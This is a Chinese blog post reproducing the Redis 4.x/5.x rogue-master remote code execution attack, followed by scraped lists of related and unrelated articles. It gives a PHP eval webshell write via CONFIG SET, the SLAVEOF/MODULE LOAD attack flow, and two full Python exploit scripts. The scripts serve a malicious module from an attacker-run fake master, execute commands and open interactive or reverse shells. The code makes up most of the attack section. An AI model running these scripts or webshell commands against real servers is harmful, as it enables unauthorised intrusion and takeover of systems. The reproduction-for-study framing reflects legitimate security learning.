攻击场景:

能够访问远程redis的端口(直接访问或者SSRF)
对redis服务器可以访问到的另一台服务器有控制权

实际上就是通过主从特性来 同步传输数据,同时利用模块加载来加载恶意的用来进行命令执行的函数,从而进行rce

redis之前的攻击方法有

1.写shell

CONFIG SET dir /VAR/WWW/HTML
CONFIG SET dbfilename sh.php
SET PAYLOAD '<?php eval($_GET[0]);?>'
SAVE

但是对于网站根目录而言,redis不一定据有写权限

2.root权限写crontab或者ssh文件

高版本redis运行时为非root权限,并且写crontab反弹shell也仅仅局限于centos

攻击的整个流程为:

1.在我们要攻击的redis服务器上通过slave of来设置master,也就是来设置主服务器
2.在目标redis服务器上设置dbfilename
3.通过同步,将主服务器上的数据存到本地,也就是来写入我们的恶意模块(FULLRESYNC <Z*40> 1\r\n$<len>\r\n<pld>)
4.在目标机器上执行load来家在我们的恶意模块(MODULE LOAD /tmp/exp.so)

环境搭建:

docker pull hareemca123/redis5:alpine
docker run -p 192.168.1.6:6379:6379 --name redis hareemca123/redis5:alpine

exp地址:

https://github.com/n0b0dyCN/redis-rogue-server

支持交互式shell和反弹shell

我们这里尝试写文件都是可以的:

只不过因为在docker里面所以写文件的位置是有限的,这里我只能写到/data,其他地方写不进去,因为这个镜像只是一个redis,如果是服务器上有redis,那么可以尝试向网站的根目录写shell,这里执行命令都是可以的

这里直接rce的exp:

源地址:

https://github.com/vulhub/redis-rogue-getshell

#!/usr/bin/env python3
import os
import sys
import argparse
import socketserver
import logging
import socket
import time logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='>> %(message)s')
DELIMITER = b"\r\n" class RoguoHandler(socketserver.BaseRequestHandler):
def decode(self, data):
if data.startswith(b'*'):
return data.strip().split(DELIMITER)[2::2]
if data.startswith(b'$'):
return data.split(DELIMITER, 2)[1] return data.strip().split() def handle(self):
while True:
data = self.request.recv(1024)
logging.info("receive data: %r", data)
arr = self.decode(data)
if arr[0].startswith(b'PING'):
self.request.sendall(b'+PONG' + DELIMITER)
elif arr[0].startswith(b'REPLCONF'):
self.request.sendall(b'+OK' + DELIMITER)
elif arr[0].startswith(b'PSYNC') or arr[0].startswith(b'SYNC'):
self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b'' + DELIMITER)
self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER)
self.request.sendall(self.server.payload + DELIMITER)
break self.finish() def finish(self):
self.request.close() class RoguoServer(socketserver.TCPServer):
allow_reuse_address = True def __init__(self, server_address, payload):
super(RoguoServer, self).__init__(server_address, RoguoHandler, True)
self.payload = payload class RedisClient(object):
def __init__(self, rhost, rport):
self.client = socket.create_connection((rhost, rport), timeout=10) def send(self, data):
data = self.encode(data)
self.client.send(data)
logging.info("send data: %r", data)
return self.recv() def recv(self, count=65535):
data = self.client.recv(count)
logging.info("receive data: %r", data)
return data def encode(self, data):
if isinstance(data, bytes):
data = data.split() args = [b'*', str(len(data)).encode()]
for arg in data:
args.extend([DELIMITER, b'$', str(len(arg)).encode(), DELIMITER, arg]) args.append(DELIMITER)
return b''.join(args) def decode_command_line(data):
if not data.startswith(b'$'):
return data.decode(errors='ignore') offset = data.find(DELIMITER)
size = int(data[1:offset])
offset += len(DELIMITER)
data = data[offset:offset+size]
return data.decode(errors='ignore') def exploit(rhost, rport, lhost, lport, expfile, command, auth):
with open(expfile, 'rb') as f:
server = RoguoServer(('0.0.0.0', lport), f.read()) #在攻击者主机建立伪造redis主服务器,并且设置恶意模块数据 client = RedisClient(rhost, rport) #连接客户端redis,也就是被攻击的redis服务器 lhost = lhost.encode()
lport = str(lport).encode()
command = command.encode() if auth:
client.send([b'AUTH', auth.encode()]) client.send([b'SLAVEOF', lhost, lport]) #设置我们的攻击机为master
client.send([b'CONFIG', b'SET', b'dbfilename', b'exp.so']) #设置用来保存恶意模块的文件名,这里不能跨目录,源码中有限制,lemon师傅已经分析过
time.sleep(2) server.handle_request()
time.sleep(2) client.send([b'MODULE', b'LOAD', b'./exp.so']) #加载恶意模块
client.send([b'SLAVEOF', b'NO', b'ONE']) #停止同步主服务器数据
client.send([b'CONFIG', b'SET', b'dbfilename', b'dump.rdb']) #将恶意模块写入到本地磁盘
resp = client.send([b'system.exec', command]) #发送要执行的命令
print(decode_command_line(resp)) client.send([b'MODULE', b'UNLOAD', b'system']) #卸载rce的模块 def main():
parser = argparse.ArgumentParser(description='Redis 4.x/5.x RCE with RedisModules')
parser.add_argument("-r", "--rhost", dest="rhost", type=str, help="target host", required=True)
parser.add_argument("-p", "--rport", dest="rport", type=int,
help="target redis port, default 6379", default=6379)
parser.add_argument("-L", "--lhost", dest="lhost", type=str,
help="rogue server ip", required=True)
parser.add_argument("-P", "--lport", dest="lport", type=int,
help="rogue server listen port, default 21000", default=21000)
parser.add_argument("-f", "--file", type=str, help="RedisModules to load, default exp.so", default='exp.so')
parser.add_argument('-c', '--command', type=str, help='Command that you want to execute', default='id') parser.add_argument("-a", "--auth", dest="auth", type=str, help="redis password")
options = parser.parse_args() filename = options.file
if not os.path.exists(filename):
logging.info("Where you module? ")
sys.exit(1) exploit(options.rhost, options.rport, options.lhost, options.lport, filename, options.command, options.auth) #初始化攻击参数 if __name__ == '__main__':
main()

这个exp只是用来执行命令的,不带反弹shell,下面这个exp是反弹shell的,但是直接跑有点编码上的问题,需要改一点点:

#coding:utf-8
import socket
import sys
from time import sleep
from optparse import OptionParser
import re
CLRF = "\r\n"
SERVER_EXP_MOD_FILE = "exp.so"
DELIMITER = b"\r\n"
BANNER = """______ _ _ ______ _____
| ___ \ | (_) | ___ \ / ___|
| |_/ /___ __| |_ ___ | |_/ /___ __ _ _ _ ___ \ `--. ___ _ ____ _____ _ __
| // _ \/ _` | / __| | // _ \ / _` | | | |/ _ \ `--. \/ _ \ '__\ \ / / _ \ '__|
| |\ \ __/ (_| | \__ \ | |\ \ (_) | (_| | |_| | __/ /\__/ / __/ | \ V / __/ |
\_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_| \_/ \___|_|
__/ |
|___/
@copyright n0b0dy @ r3kapig
""" def encode_cmd_arr(arr):
cmd = ""
cmd += "*" + str(len(arr))
for arg in arr:
cmd += CLRF + "$" + str(len(arg))
cmd += CLRF + arg
cmd += "\r\n"
return cmd def encode_cmd(raw_cmd):
return encode_cmd_arr(raw_cmd.split(" ")) def decode_cmd(cmd):
if cmd.startswith("*"):
raw_arr = cmd.strip().split("\r\n")
return raw_arr[2::2]
if cmd.startswith("$"):
return cmd.split("\r\n", 2)[1]
return cmd.strip().split(" ") def info(msg):
print(f"\033[1;32;40m[info]\033[0m {msg}") def error(msg):
print(f"\033[1;31;40m[err ]\033[0m {msg}") def decode_command_line(data):
if not data.startswith(b'$'):
return data.decode(errors='ignore') offset = data.find(DELIMITER)
size = int(data[1:offset])
offset += len(DELIMITER)
data = data[offset:offset+size]
print(data)
return data.decode(errors='ignore') def din(sock, cnt=65535):
global verbose
msg = sock.recv(cnt)
if verbose:
if len(msg) < 1000:
print(f"\033[1;34;40m[->]\033[0m {msg}")
else:
print(f"\033[1;34;40m[->]\033[0m {msg[:80]}......{msg[-80:]}")
if sys.version_info < (3, 0):
res = re.sub(r'[^\x00-\x7f]', r'', msg)
else:
res = re.sub(b'[^\x00-\x7f]', b'', msg)
print(decode_command_line(msg))
return decode_command_line(msg) def dout(sock, msg):
global verbose
if type(msg) != bytes:
msg = msg.encode()
sock.send(msg)
if verbose:
if len(msg) < 1000:
print(f"\033[1;33;40m[<-]\033[0m {msg}")
else:
print(f"\033[1;33;40m[<-]\033[0m {msg[:80]}......{msg[-80:]}") def decode_shell_result(s):
return "\n".join(s.split("\r\n")[1:-1]) class Remote:
def __init__(self, rhost, rport):
self._host = rhost
self._port = rport
self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._sock.connect((self._host, self._port)) def send(self, msg):
dout(self._sock, msg) def recv(self, cnt=65535):
return din(self._sock, cnt) def do(self, cmd):
self.send(encode_cmd(cmd))
buf = self.recv()
return buf def shell_cmd(self, cmd):
self.send(encode_cmd_arr(['system.exec', f"{cmd}"]))
buf = self.recv()
return buf class RogueServer:
def __init__(self, lhost, lport):
self._host = lhost
self._port = lport
self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._sock.bind(('0.0.0.0', self._port))
self._sock.listen(10) def close(self):
self._sock.close() def handle(self, data):
cmd_arr = decode_cmd(data)
resp = ""
phase = 0
if cmd_arr[0].startswith("PING"):
resp = "+PONG" + CLRF
phase = 1
elif cmd_arr[0].startswith("REPLCONF"):
resp = "+OK" + CLRF
phase = 2
elif cmd_arr[0].startswith("PSYNC") or cmd_arr[0].startswith("SYNC"):
resp = "+FULLRESYNC " + "Z"*40 + "" + CLRF
resp += "$" + str(len(payload)) + CLRF
resp = resp.encode()
resp += payload + CLRF.encode()
phase = 3
return resp, phase def exp(self):
cli, addr = self._sock.accept()
while True:
data = din(cli, 1024)
if len(data) == 0:
break
resp, phase = self.handle(data)
dout(cli, resp)
if phase == 3:
break def interact(remote):
info("Interact mode start, enter \"exit\" to quit.")
try:
while True:
cmd = input("\033[1;32;40m[<<]\033[0m ").strip()
if cmd == "exit":
return
r = remote.shell_cmd(cmd)
for l in decode_shell_result(r).split("\n"):
if l:
print("\033[1;34;40m[>>]\033[0m " + l)
except KeyboardInterrupt:
pass def reverse(remote):
info("Open reverse shell...")
addr = input("Reverse server address: ")
port = input("Reverse server port: ")
dout(remote, encode_cmd(f"system.rev {addr} {port}"))
info("Reverse shell payload sent.")
info(f"Check at {addr}:{port}") def cleanup(remote):
info("Unload module...")
remote.do("MODULE UNLOAD system") def runserver(rhost, rport, lhost, lport):
# expolit
remote = Remote(rhost, rport)
info("Setting master...")
remote.do(f"SLAVEOF {lhost} {lport}")
info("Setting dbfilename...")
remote.do(f"CONFIG SET dbfilename {SERVER_EXP_MOD_FILE}")
sleep(2)
rogue = RogueServer(lhost, lport)
rogue.exp()
sleep(2)
info("Loading module...")
remote.do(f"MODULE LOAD ./{SERVER_EXP_MOD_FILE}")
info("Temerory cleaning up...")
remote.do("SLAVEOF NO ONE")
remote.do("CONFIG SET dbfilename dump.rdb")
remote.shell_cmd(f"rm ./{SERVER_EXP_MOD_FILE}")
rogue.close() # Operations here
choice = input("What do u want, [i]nteractive shell or [r]everse shell: ")
if choice.startswith("i"):
interact(remote)
elif choice.startswith("r"):
reverse(remote) cleanup(remote) if __name__ == '__main__':
print(BANNER)
parser = OptionParser()
parser.add_option("--rhost", dest="rh", type="string",
help="target host", metavar="REMOTE_HOST")
parser.add_option("--rport", dest="rp", type="int",
help="target redis port, default 6379", default=6379,
metavar="REMOTE_PORT")
parser.add_option("--lhost", dest="lh", type="string",
help="rogue server ip", metavar="LOCAL_HOST")
parser.add_option("--lport", dest="lp", type="int",
help="rogue server listen port, default 21000", default=21000,
metavar="LOCAL_PORT")
parser.add_option("--exp", dest="exp", type="string",
help="Redis Module to load, default exp.so", default="exp.so",
metavar="EXP_FILE")
parser.add_option("-v", "--verbose", action="store_true", default=False,
help="Show full data stream") (options, args) = parser.parse_args()
global verbose, payload, exp_mod
verbose = options.verbose
exp_mod = options.exp
payload = open(exp_mod, "rb").read() if not options.rh or not options.lh:
parser.error("Invalid arguments") info(f"TARGET {options.rh}:{options.rp}")
info(f"SERVER {options.lh}:{options.lp}")
try:
runserver(options.rh, options.rp, options.lh, options.lp)
except Exception as e:
error(repr(e))

我结合第一个exp的redis数据解码方式把第二个的稍微改了下,多字节解码可能报错直接decode(errors="ignore")忽略就好了,接下来就可以执行交互式shell或者反弹shell

Redis 4.x RCE 复现学习的更多相关文章

  1. CVE-2019-0232:Apache Tomcat RCE复现

    CVE-2019-0232:Apache Tomcat RCE复现 0X00漏洞简介 该漏洞是由于Tomcat CGI将命令行参数传递给Windows程序的方式存在错误,使得CGIServlet被命令 ...

  2. GitStack系统RCE漏洞学习

    漏洞简介 漏洞简情 漏洞程序 GitStack 影响版本 <=2.3.10 漏洞类型 RCE 漏洞评价 高危 漏洞编号 CVE-2018-5955 漏洞程序介绍 GitStack是一款基于Pyt ...

  3. Spring Boot Actuator H2 RCE复现

    0x00 前言 Spring Boot框架是最流行的基于Java的微服务框架之一,可帮助开发人员快速轻松地部署Java应用程序,加快开发过程.当Spring Boot Actuator配置不当可能造成 ...

  4. Joomla 3.4.6 RCE复现及分析

    出品|MS08067实验室(www.ms08067.com) 本文作者:whojoe(MS08067安全实验室SRST TEAM成员) 前言 前几天看了下PHP 反序列化字符逃逸学习,有大佬简化了一下 ...

  5. GKCTF X DASCTF 2021_babycat复现学习

    17解的一道题,涉及到了java反序列化的知识,学习了. 看了下积分榜,如果做出来可能能进前20了哈哈哈,加油吧,这次就搞了两个misc签到,菜的扣脚. 打开后是个登录框,sign up提示不让注册, ...

  6. CVE-2022-22947 Spring Cloud Gateway SPEL RCE复现

    目录 0 环境搭建 1 漏洞触发点 2 构建poc 3 总结 参考 0 环境搭建 影响范围: Spring Cloud Gateway 3.1.x < 3.1.1 Spring Cloud Ga ...

  7. CVE-2019-0708 RCE复现

    漏洞环境 192.168.91.136     windows7 6.1.7601 192.168.91.151      kali Windows7 SP1下载链接: ed2k://|file|cn ...

  8. Redis基本认识和基础学习-基本命令

    Redis 基本介绍 REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统. Redis是一个开源的使用ANS ...

  9. Redis Cluster集群知识学习总结

    Redis集群解决方案有两个: 1)  Twemproxy: 这是Twitter推出的解决方案,简单的说就是上层加个代理负责分发,属于client端集群方案,目前很多应用者都在采用的解决方案.Twem ...

随机推荐

  1. .NET Core 3.0 发布单文件可执行程序

    Windows dotnet publish -r win10-x64 /p:PublishSingleFile=true maxOS dotnet publish -r osx-x64 /p:Pub ...

  2. 3、详解 ESLint 规则 转自https://blog.csdn.net/bbsyi/article/details/88816637

    什么是 ESLint ? ESLint 是在 ECMAScript/JavaScript 代码中识别和报告模式匹配的工具,它的目标是保证代码的一致性和避免错误.在许多方面,它和 JSLint.JSHi ...

  3. Python爬取爱奇艺资源

    像iqiyi这种视频网站,现在下载视频都需要下载相应的客户端.那么如何不用下载客户端,直接下载非vip视频? 选择你想要爬取的内容 该安装的程序以及运行环境都配置好 下面这段代码就是我在爱奇艺里搜素“ ...

  4. 80C51串行口

    串行通信是指 使用一条数据线,将数据一位一位地依次传输,每一位数据占据一个固定的时间长度 单工.半双工.全双工 单工数据传输只支持数据在一个方向上传输 半双工数据传输允许数据在两个方向上传输,但是,在 ...

  5. VScode 配置为 LaTeX 编辑器(IDE)

    VScode 配置为 LaTeX IDE 在Windows中,配置VScode作为LaTeX的编辑器(IDE),并使用SumatraPDF预览PDF文件.主要是LaTeX Workshop扩展的设置, ...

  6. 如何远程调试部署在CloudFoundry平台上的nodejs应用

    网络上关于如何本地调试nodejs应用的教程已经很多了,工具有Chrome开发者工具,Visual Studio Code,和nodejs周边的一些小工具等等. 在实际情况中,我们可能遇到本地运行良好 ...

  7. 5.API详解

    Dao 中需要通过 SqlSession 对象来操作 DB.而 SqlSession 对象的创建, 需要其工厂对象 SqlSessionFactory.SqlSessionFactory 对象, 需要 ...

  8. celery最佳体验

    目录 目录 不使用数据库作为 Broker 不要过分关注任务结果 实现优先级任务 应用 Worker 并发池的动态扩展 应用任务预取数 保持任务的幂等性 应用任务超时限制 善用任务工作流 合理应用 a ...

  9. 解决No module named 'sklearn.cross_validation'

    sklearn中已经废弃cross_validation,将其中的内容整合到model_selection中 将sklearn.cross_validation 替换为 sklearn.model_s ...

  10. 【收藏】linux快速查找文件的技巧

    有时候,我们需要在系统中查找文件,Linux有一个非常优秀的搜寻系统. 一般提到搜寻文件的时候,很多人第一反应是find命令,但其实find不是常用的,因为速度慢,而且毁硬盘.一般我们都先用where ...